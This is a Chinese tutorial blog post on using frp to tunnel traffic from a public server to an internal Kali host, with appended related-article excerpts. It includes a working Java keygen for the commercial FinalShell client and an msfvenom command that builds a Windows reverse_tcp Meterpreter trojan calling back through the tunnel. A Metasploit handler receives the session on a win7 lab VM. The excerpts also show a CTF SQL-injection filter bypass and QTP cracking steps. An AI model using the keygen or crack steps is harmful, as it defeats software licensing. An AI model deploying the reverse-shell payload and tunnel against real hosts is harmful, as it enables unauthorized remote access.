网络安全之frp内网穿透

前言

内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机

环境需求

一台公网服务器(linux操作系统)
一台内网主机服务器(linux操作系统) //我用的kali
Finalshell程序
win7靶机

环境搭建

Finalshell下载及破解

Finalshell下载安装,这个程序直接解压就可以运行exe程序,可以自己去下载也可以使用以下链接下载
Finalshell下载链接: http://pan.baidu.com/s/1US820WL3Y3A22yFQrctgKg?pwd=tmoz

其中需要破解的可以参考这位博主:http://blog.csdn.net/qq_50839138/article/details/126160766
破解步骤为: 点击界面左下角的 激活/升级 -> 点击离线激活(点击之前要输入你想使用的用户和密码,随便写就好) -> 复制机器码 ->使用以下java代码然后将机器码复制到程序中执行,选择你要的激活码,复制到框框里激活就可以成功

import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Scanner;

public class Finalshell {

    public static void main(String[] args) throws NoSuchAlgorithmException {
        Scanner scanner = new Scanner(System.in);
        System.out.println("FinalShell-Keygen v1.0 - Developed by UltraPanda\n* Only for educational purpose *\n请输入离线激活所提供的机器码: ");
        String hardwareId = scanner.nextLine();
        System.out.printf("高级版激活码: %s\n专业版激活码: %s%n", transform('\uef79' + hardwareId + 8552), transform(2356 + hardwareId + 13593));
    }

    public static String transform(String str) throws NoSuchAlgorithmException {
        return hashMD5(str).substring(8, 24);
    }

    public static String hashMD5(String str) throws NoSuchAlgorithmException {
        MessageDigest digest = MessageDigest.getInstance("MD5");
        byte[] hashed = digest.digest(str.getBytes());
        StringBuilder sb = new StringBuilder();
        byte[] var4 = hashed;
        int var5 = hashed.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            byte b = var4[var6];
            int len = b & 255;
            if (len < 16) {
                sb.append("0");
            }

            sb.append(Integer.toHexString(len));
        }

        return sb.toString();
    }
}

激活成功后用22端口分别去连接你的公网服务器和kali

公网服务器搭建frp

先使用arch查看自己的系统是64还是32位的
然后使用命令

wget http://github.com/fatedier/frp/releases/download/v0.46.0/frp_0.46.1_linux_amd64.tar.gz  //下载

tar -zxvf  frp_0.46.1_linux_amd64.tar.gz //解压

cd frp_0.46.1_linux_amd64   //进入文件夹

vi frps.ini 修改配置文件

[common]
#frp监听端口,默认是7000,可改
bind_addr = 0.0.0.0
bind_port = 7080

#授权码,建议改成复杂的
token = 520520 

#frp管理后台端口,根据自己需要去改即可
dashboard_port = 7878

# frp管理后台用户名和面,改成自己的
dashboard_user = admin
dashboard_pwd = admin

设置和启动frp服务器

sudo mkdir -p /etc/frp  //创建etc/frp文件夹
sudo cp frps.ini /etc/frp  //将frps复制到/etc/frp文件夹下
sudo cp frps /usr/bin   //将frps写入系统命令方便在其他地方调用
vim /etc/systemd/system/frps.service  //配置在下边第二张图
sudo cp /etc/systemd/system/frps.service /usr/lib/systemd/system/  //将启动服务添加到system系统中
sudo systemctl enable frps  //运行frps
sudo systemctl start frps   //启动frps

没有错误则配置和启动都成功

/etc/systemd/system/frps.service配置

[Unit]
Description = frp server
After = network.target syslog.target
Wants = network.target

[Service]
Type = simple

ExecStart = /root/frp_0.46.1_linux_amd64/frps -c /root/frp_0.46.1_linux_amd64/frps.ini

[Install]
WantedBy = multi-user.target

防火墙开放端口,运行前要先开启防火墙(service firewalld start)
sudo firewall-cmd --permanent --add-port=7080/tcp  //这里对应frps.ini中的 bind_port = 7080
sudo firewall-cmd --permanent --add-port=7878/tcp  //这里对应frps.ini中的 dashboard_port = 7878
sudo firewall-cmd --permanent --add-port=6070/tcp  //这里对应客户端的6070
sudo firewall-cmd --reload  //加载配置
每个配置后都出现success则配置成功
我这里是7080的连接端口和7878的后台端口还有客户端转发的端口其他可以不看

sudo firewall-cmd --list-ports  //查看开放的端口

紧接着,使用 ./frps -c ./frps.ini ,看到以下界面说明正确了,如果有问题则上面的配置重新审查一下

然后会出现无法访问或者访问超时,是因为服务器防火墙没有添加放行7080和7878端口,去服务器添加规则即可(因为我是用腾讯云的所以直接去他服务器防火墙改,其他种类的防火墙根据自己的防火墙去配置放行就好)

配置好了,去访问http://你的服务器ip:7878/后台管理,会出现弹框输入你服务器配置的账号密码即可查看到一下界面

服务器配置到这就算成功了,接下来配置客户端的

内网客户端服务器搭建frp

在内网开启一台机子,我这里用kali,然后将frp上传到kali中,解压后进入文件夹

vim frpc.ini //进入frpc.ini配置客户端

[common]
server_addr = 你的服务器ip
#与服务器的frps.ini的bind_port相同
server_port = 7080
#与服务器端的frps.ini的token相同
token = 520520

#配置ssh服务
[ssh]
type = tcp
local_ip = 127.0.0.1
#用于本地接收数据的端口,可改
local_port = 4545
#用于转发的端口,默认6000,可改
remote_port = 6070

sudo mkdir -p /etc/frp  //创建etc/frp文件夹
sudo cp frpc.ini /etc/frp  //将frps复制到/etc/frp文件夹下
sudo cp frpc /usr/bin   //将frps写入系统命令方便在其他地方调用
vim /etc/systemd/system/frpc.service  //配置在下边第二张图
sudo cp /etc/systemd/system/frpc.service /usr/lib/systemd/system/  //将启动服务添加到system系统中
sudo systemctl enable frpc  //运行frps
sudo systemctl start frpc  //启动frps

没有错误则配置和启动都成功

/etc/systemd/system/frpc.service配置

[Unit]
Description = frp server
After = network.target syslog.target
Wants = network.target

[Service]
Type = simple

ExecStart = /root/frp_0.46.1_linux_amd64/frpc -c /frp_0.46.1_linux_amd64/frpc.ini

[Install]
WantedBy = multi-user.target

使用 ./frpc -c ./frpc.ini 连接服务器,有以下界面说明连接成功

测试内网穿透是否成功

连接成功后,我们kali的msfvenom生成木马

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=服务器ip  LPORT=6070 -f exe > muma60701.exe

6070对应客户端的frpc.ini的转发端口

开启msf监听,

msfconcole

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 4545   //这里设置接收数据的端口对应frpc.ini的4545端口
set lhost 127.0.0.1
run

然后将木马放到虚拟机win7运行之后会得到后台

总结

我们目前搭建在公网的服务器frps是作为中转的路由,内网客户端 -> 公网服务器路由 -> 其他内网主机,内网客户端发送请求(也就是我们生成的木马),然后发送给其他内网主机,内网主机连接成功反弹回请求到公网服务器再利用6070转发到我们内网4545端口上,从而达到内网穿透成功

本文来自博客园,作者:Vice_2203,转载请注明原文链接:http://www.cnblogs.com/BlogVice-2203/p/17053508.html

本文转载于网络 如有侵权请联系删除

相关文章

  • 通过命令行管理用户分组备份等工作原创

    #1,基础部署通过如下脚本一键启动ldap服务端以及管理端。catstart.sh #!/bin/bash-e SERVICE=ldap-service HOST_NAME=ldap-server LDAP_DOMAIN=eryajf.net LDAP_DC=eryajf LDAP_DC_ORG=net NETWORK_ADAPTER=eth0 PASSWORD=123465 OPENLDAP="1.3.0" PHPLDAPADMIN="0.9.0" HTTPS_PORT=88 OPENLDAP_PORT=389 dockerrun\ -p${OPENLDAP_PORT}:389\ --name${SERVICE}\ --hostname${HOST_NAME}\ --envLDAP_ORGANISATION="WPT-Group"\ --envLDAP_DOMAIN=${LDAP_DOMAIN}\ --envLDAP_ADMIN_PASSWORD=${PASSWORD}\ --detachosixia/openldap:${

  • 不要年薪百万,要去当公务员。

    推荐阅读:《劝退了。。。》《农村孩子高压线。。。》1放弃高新去年腾讯有一个90后,放弃了年入75万的工作,选择回老家市里面做公务员,引起了一片热议。当时他的领导还很语重心长的对他说,你逃避了,你将来的孩子也得重走一遍你的路。去年还写过一篇文章:《滴滴程序员被亲戚鄙视:年薪八十万还不如二本教书的...》 提到自己相亲的时候,被亲戚鄙视了。虽然他的收入是亲戚的5、6倍,但亲戚仍然觉得博士在二本大学教书更香一点。这些都是去年的事情,那今年呢?2太卷了我姐在我老家市里面做公务员。所以对体制内的工作比较了解,上次回家的时候和老姐聊天,我问今年考公务激烈吗?我姐说,这两年真的是越来越夸张了,可能也是因为外部环境不好,太多的人都想报考公务员。 导致进来的难度剧增。更夸张的是什么呢? 有一些学生,毕业后第一年没有考上公务员,但是仍然对这个目标不放弃,继续备考。 这也正常,很多人都是考了好几年。但不正常的是,他没有正常工作,2-3年啥也不干,复习、准备、报班就为了下一次一定考上。 这也太卷了吧。3县城娃和农村娃这里面,我就要说另外一个观点了。大部分能在家全职考公的,基本家里条件还不错,不然家里也没有条件

  • 简单人脸识别一之使用opencv+cnn网络实现人脸识别

    大家好,又见面了,我是你们的朋友全栈君。最近在研究目标检测这个方向,看到网上有很多的人脸识别帖子,所以也想着上上手看看。当时是做了三个模型出来,第一个就是网上很通用普遍的opencv+简单三层cnn网络来实现的,说实话效果真的一般吧!具体的下面再细细陈述。第二个是把三层cnn网络换成了残差网络。因为自己刚好也是学习了残差网络。就想着生搬硬套过来,但效果说实话很迷,时好时坏,把我是整蒙逼了,后面也会提的。最后一个是用opencv+MTCNN+FaceNet来实现的,效果就比较好了,训练速度快,检测人脸的准确率也比前两个模型更好。我接下来会写三篇文章来一一介绍!首先来说说第一个烂大街的模型,代码量很少,其实也很容易理解。但是我在网上找demo的时候真的是踩了不少的坑,不知道是作者故意而为之还是有些人本来就是copy其他人的,自己还偷懒没有跑,反正就是自己下载的几个demo跑的时候都报错,还是自己一行一行的看,改正了一些bug之后才跑出来的。说到这儿,我就想强调一句:我们互联网工作者应该有自己的工作原则嘛:对待项目代码应该一丝不苟,决不祸害别人!此处默默给自己厚颜无耻的点赞哈哈哈哈哈哈哈。我

  • php实例化一个类的具体方法

    类的实例化就是对象。一个类可以分成两个部分,一个是静态描述,就是类里的成员属性。第二个是动态描述,就是类里的成员方法,也就是对象的功能。声明一个类,可以在class前加一些关键字,如abstract或final等。声明类里的变量时,前面要加一个关键字,通常为var,还有public,private,static,等关键字。$变量名=new类名();//括号里可传参数复制给对象中的成员属性赋值的格式为$引用名-成员属性=值;复制调用对象中的成员方法的格式为$引用名-成员方法;复制成员方法使用成员属性的格式为$this-成员属性;复制<?php classPerson{ var$name; var$age; var$sex; functionwalk(){ echo$this-name."iswalking."; } } $Boy=newPerson(); $Boy-name="John"; $Boy-walk(); ?复制以上就是php如何实例化一个类的详细内容,感谢大家的学习和对ZaLou.Cn的支持。

  • 虚拟机中ubuntu不能联网问题的解决方法

    设置虚拟机不能联网是很痛苦的,这里我就ubuntu的NAT上网问题就个人经验讲一下,其他的桥连接等没有使用就没有经验了。ubuntu版本:ubuntu-16.04-desktop-amd64.iso1.查看/设置下NAT的网络打开VMwareWorkstation,点击编辑——虚拟网络编辑器,查看NAT模式的网络。如下图示,如果你对自动分配的子网IP不喜欢的可以点击还原默认设置,不过还是会自动分配的,不能自己设置的。点击NAT设置,查看子网IP子网掩码以及查看和设置网关IP点击DHCP设置,可以查看并设置自动分配的IP范围,后面用到手动分配的IP就是在这些IP中。2.设置虚拟机的IP点击VMwareWorkstation虚拟机——>设置,打开虚拟机设置设置网络连接为NAT连接方式开启虚拟机,进入图形界面,点击右上方的网络上下箭头符号,其中图示wiredconnection1就是当前使用的网络。如果有其他的网络可以连接到其他的网络中我们点击下面的EditConnections进入IP设置。选择要编辑的IP,点击Edit,进入网络设置界面选择IPv4Settings,进入网络设置界面

  • 恢复空格

    问题描述:哦,不!你不小心把一个长篇文章中的空格、标点都删掉了,并且大写也弄成了小写。像句子”Iresetthecomputer.Itstilldidn’tboot!”已经变成了”iresetthecomputeritstilldidntboot”。在处理标点符号和大小写之前,你得先把它断成词语。当然了,你有一本厚厚的词典dictionary,不过,有些词没在词典里。假设文章用sentence表示,设计一个算法,把文章断开,要求未识别的字符最少,返回未识别的字符数。示例: 输入: dictionary=["looked","just","like","her","brother"] sentence="jesslookedjustliketimherbrother" 输出:7 解释:断句后为"jesslookedjustliketimherbrother",共7个未识别字符。 提示: 0<=len(sentence)<=1000 d

  • EditPlus配置Python开发环境

    1. 打开editplus选择工具-->配置用户工具,点击组名新建一个python组,紧接着点击添加工具选择-->应用程序在菜单文字:python命令:选择你安装python程序的路径参数:$(FileName)初始目录:$(FileDir)最后点击确定不过做完这里离成功还差点,在坚持一下曙光就在下面!2. 为了可以捕捉到错误信息和输出结果,强烈建议在第二步中的动作那里选择捕捉输出,再点击旁边的模板输出,然后点击取消-->使用默认输出模式(U)在下面的选项中分别对应填写下面的信息正则表达式:File"(.+)",line([0-9]+)文件名:标记表达式1行(L):标记表达式2列(C):无这里可以选择捕捉输出,按ctrl+1运行的时候,会直接把结果显示在下面的输出窗口里,不选择的话,按ctrl+1运行的时候是会直接弹出cmd的界面最后选择确定3. 对不起是我忽悠了你其实还差一点,为了让editplus配置的python的环境更牛叉的话,建议安装一个python的插件。下载地址为:http://www.editplus.com/files/pytho

  • 响铃:“新品牌计划”出炉,但拼多多要的不只是C2M

    文|曾响铃 来源|科技向令说(xiangling0815)作为电商界的一朵奇花,拼多多从来都不走寻常路。或者说,走寻常路的拼多多也不可能在舆论的枪林弹雨中活下来。现在看来,拼多多不但活着,还开始了反击,“不寻常的路”最近又添新花样。近日,拼多多对外宣布推出“新品牌计划”,要扶持1000家各行业的中小微企业,帮助它们“更有效地触达消费者,以最低成本培育品牌”。该计划首批试水20家工厂,包括家卫士、潮州松发陶瓷、浙江三禾厨具等,这些企业说白了都是某些国内外知名品牌背后的代工者,生产质量过硬但几乎毫无品牌可言。现在,拼多多把它们推向市场的台前,有人说这是拼多多试图通过C2M弯道超车老牌电商,也有人说拼多多在做自己的“攻守同盟”,但黄峥要的可能不只是这些。围绕“供应链效率”的零售已经遭遇瓶颈在谈论这个问题之前,不妨先来看看零售领域大背景发生了哪些变化,它们或能帮助我们更好地分析拼多多到底要干什么。过去,在零售领域涌现的无数英雄豪杰,它们对零售业的变革,都是在围绕“供应链效率”做文章。在价格层面,供应链效率的提升可以在生产环节通过规模采购等方式实现更低的“出厂价”,在销售环节通过压缩环节数量、优

  • QQ、MSN、淘包旺旺、Skype临时对话的html链接代码

    QQ的代码(http://is.qq.com/webpresence/code.shtml) -------------- <atarget=blankhref=tencent://message/?uin=QQ号码&Site=www.woyouli.com&Menu=yes><imgborder="0"SRC=http://wpa.qq.com/pa?p=1:QQ号码:7alt="点击这里给我发消息"></a> QQ秀: <imgsrc="http://qqshow-user.tencent.com/QQ号码/10/00/00.gif"temp_src="http://qqshow-user.tencent.com/QQ号码/10/00/00.gif"/> MSN的代码 -------------- msnim:chat?contact=MSN账号 Skype的代码 -------------- callto://Skype账号

  • 洛谷P1134 阶乘问题

    题目描述也许你早就知道阶乘的含义,N阶乘是由1到N相乘而产生,如:12!=1x2x3x4x5x6x7x8x9x10x11x12=479,001,60012的阶乘最右边的非零位为6。写一个程序,计算N(1<=N<=50,000,000)阶乘的最右边的非零位的值。注意:10,000,000!有2499999个零。输入输出格式输入格式:仅一行包含一个正整数N。输出格式:单独一行包含一个整数表示最右边的非零位的值。输入输出样例输入样例#1: 12复制输出样例#1:6复制说明USACOTrainingSection3.2正解看不懂。暴力可以过。#include<cstdio> intmain() { longlongintN; scanf("%lld",&N); longlongintnow=1; for(inti=2;i<=N;i++) { now=now*i; while(now%10==0)now=now/10; now=now%10000000; } printf("%lld",now%10); return0

  • 1644: [Usaco2007 Oct]Obstacle Course 障碍训练课

    1644:[Usaco2007Oct]ObstacleCourse障碍训练课TimeLimit: 5Sec  MemoryLimit: 64MBSubmit: 383  Solved: 196[Submit][Status][Discuss]Description考虑一个NxN(1<=N<=100)的有1个个方格组成的正方形牧场。有些方格是奶牛们不能踏上的,它们被标记为了'x'。例如下图:..Bx. .xxA. ...x. .x... ..x..贝茜发现自己恰好在点A处,她想去B处的盐块舔盐。缓慢而且笨拙的动物,比如奶牛,十分讨厌转弯。尽管如此,当然在必要的时候她们还是会转弯的。对于一个给定的牧场,请你计算从A到B最少的转弯次数。开始的时候,贝茜可以使面对任意一个方向。贝茜知道她一定可以到达。Input第 1行:一个整数N行2..N+1:行i+1有N个字符('.','x','A','B'),表示每个点的状态。Output行1:一个整数,最少的转弯次数。SampleInput3

  • 基于百度翻译的简单爬虫翻译-- coding:utf-8 --访问网址模拟浏览器创建文件夹用一个text文件保存,文件名用单词名字

    因为最近有数据需求,自己写了一个简单的小爬虫,但是这是第一版还是比较简陋,慢慢更新吧.--coding:utf-8--importrequests importos url='https://fanyi.baidu.com/v2transapi'#网址复制访问网址模拟浏览器print("请输入你想翻译的语言,英文请输入1,中文请输入2") translat_Word=input() if(translat_Word==1): word=input("请输入你想翻译的英语\n") data={ 'from':'en', 'to':'zh', 'query':word, 'transtype':'realtime', 'simple_means_flag':3 } else: word=input("请输入你想翻译的中文\n") data={ '

  • Asp.net mvc 知多少(七)

    本系列主要翻译自《ASP.NETMVCInterviewQuestionsandAnswers》-ByShailendraChauhan,想看英文原版的可访问http://www.dotnettricks.com/free-ebooks自行下载。该书主要分为两部分,ASP.NETMVC5、ASP.NETWEBAPI2。本书最大的特点是以面试问答的形式进行展开。通读此书,会帮助你对ASP.NETMVC有更深层次的理解。 由于个人技术水平和英文水平也是有限的,因此错误在所难免,希望大家多多留言指正。系列导航 Asp.netmvc知多少(一)Asp.netmvc知多少(二)Asp.netmvc知多少(三)Asp.netmvc知多少(四)Asp.netmvc知多少(五)Asp.netmvc知多少(六) Asp.netmvc知多少(七) Asp.netmvc知多少(八)本节主要讲解了PartialViewQ70.什么是ASP.NETMVC中的PartialView(分布视图)? Ans.Partialview类似于ASP.NETWebforms中的usercontrol(用户控件)用来进行代码重

  • 一次简单的ctf SQL注入绕过

    注入地址:http://103.238.227.13:10087/index.php?id=1 //过滤sql $array=array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit'); foreach($arrayas$value) { if(substr_count($id,$value)>0) { exit('包含敏感关键字!'.$value); } } //xss过滤 $id=strip_tags($id); $query="SELECT*FROMtempWHEREid={$id}LIMIT1";复制 可见该过滤的都过滤了的。一般的绕过还真没办法。但是为防止XSS把<>之类的给过滤了。那么就有那么一个姿势sel<>ect如此便可以绕过。   爆数据库 http://103.238.

  • gyp verb check python checking for Python executable &quot;python2&quot; in the PATH - noda-sass安装的艰难之路。

    第一次安装出现如下错误: gypverbcheckpythoncheckingforPythonexecutable"python2"inthePATH gypverb`which`failedError:notfound:python2 gypverb`which`failedatgetNotFoundError(C:\ProgramFiles(x86)\Jenkins\jobs\NdbSite-hot-fix-Manual-PreBuild\workspace\src\NdbSite.UI\node_modules\which\which.js:13:12) gypverb`which`failedatF(C:\ProgramFiles(x86)\Jenkins\jobs\NdbSite-hot-fix-Manual-PreBuild\workspace\src\NdbSite.UI\node_modules\which\which.js:68:19) gypverb`which`failedatE(C:\ProgramFiles(x86)\Jenkins\jobs\NdbSit

  • svn问题记录

    svnst!+Cstdcell_macros_6t.v>localedit,incomingdeleteuponupdate  

  • QTP 10 破解 之路

      1、下载QTP10安装包 2、破解软件(mgn-mqt82.exe) (阿里云云主机里执行不了,一执行CPU就99%,也没有生成lservrc) 手动创建C:\ProgramFiles(x86)\CommonFiles\MercuryInteractive\LicenseManager文件夹 将破解工具mgn-mqt82.exe复制到C:/ProgramFiles/HP/QuickTestProfessional/bin下,然后右击“以管理员身份运行” 在C:\ProgramFiles(x86)\CommonFiles\MercuryInteractive\LicenseManager\下找到文件lservrc,用记事本打开,复制文件LSERVRC中#之前的字符串,那个就是注册码,如: 3QVWCPPOS5NGGFM6KPX64EQFSH6INFRJIVMC5WZ4XIIFIXX86UCPIP4M686DZKV9NANA9BUP#"QuickTestPro"version"6.0",noexpirationdate,exclusiveJZ7F79F6YQQF

  • 【ArangoDB踩坑】字符串查询要加引号

    当属性是string类型的,查询时值要加引号。 之前一直没注意,导致数据查不出来 _key=="27832736145" 复制

  • 单值二叉树

    如果二叉树每个节点都具有相同的值,那么该二叉树就是单值二叉树。 只有给定的树是单值二叉树时,才返回 true;否则返回false。 示例1: 输入:[1,1,1,1,1,null,1]输出:true示例2: 输入:[2,2,2,5,2]输出:false 提示: 给定树的节点数范围是 [1,100]。每个节点的值都是整数,范围为 [0,99] 。 来源:力扣(LeetCode)链接:https://leetcode-cn.com/problems/univalued-binary-tree著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。 #Definitionforabinarytreenode. classTreeNode: def__init__(self,val=0,left=None,right=None): self.val=val self.left=left self.right=right classSolution: defisUnivalTree(self,root:TreeNode)->bool:

  • android studio更换成阿里源

    参考:https://www.cnblogs.com/qianmaoliugou/p/12369654.html 1.androidstudio更换成阿里源 在根目录中的bulid.gradle更改内容 buildscript{ repositories{ maven{url'http://maven.aliyun.com/nexus/content/groups/public/'} maven{url'http://maven.aliyun.com/nexus/content/repositories/jcenter'} maven{url'http://maven.aliyun.com/nexus/content/repositories/google'} maven{url'http://maven.aliyun.com/nexus/content/repositories/gradle-plugin'} //google() //mavenCentral() } dependencies{ classpath"com.android.tools.build:gradle:4.2

  • Android SDK更新 Connection to http://dl-ssl.google.com refused 解决方法

    问题描述使用SDKManager更新时出现问题FailedtofetchURLhttps://dl-ssl.google.com/android/repository/repository-6.xml,reason:Connectiontohttps://dl-ssl.google.comrefusedFailedtofetchURLhttp://dl-ssl.google.com/android/repository/addons_list-1.xml,reason:Connectiontohttp://dl-ssl.google.comrefusedFailedtofetchURLhttps://dl-ssl.google.com/android/repository/addons_list-1.xml,reason:hostnameincertificatedidn'tmatch:<dl-ssl.google.com>!=<www.google.com>更新ADT时无法解析https://dl-ssl.google.com/android/eclipse解

相关推荐

推荐阅读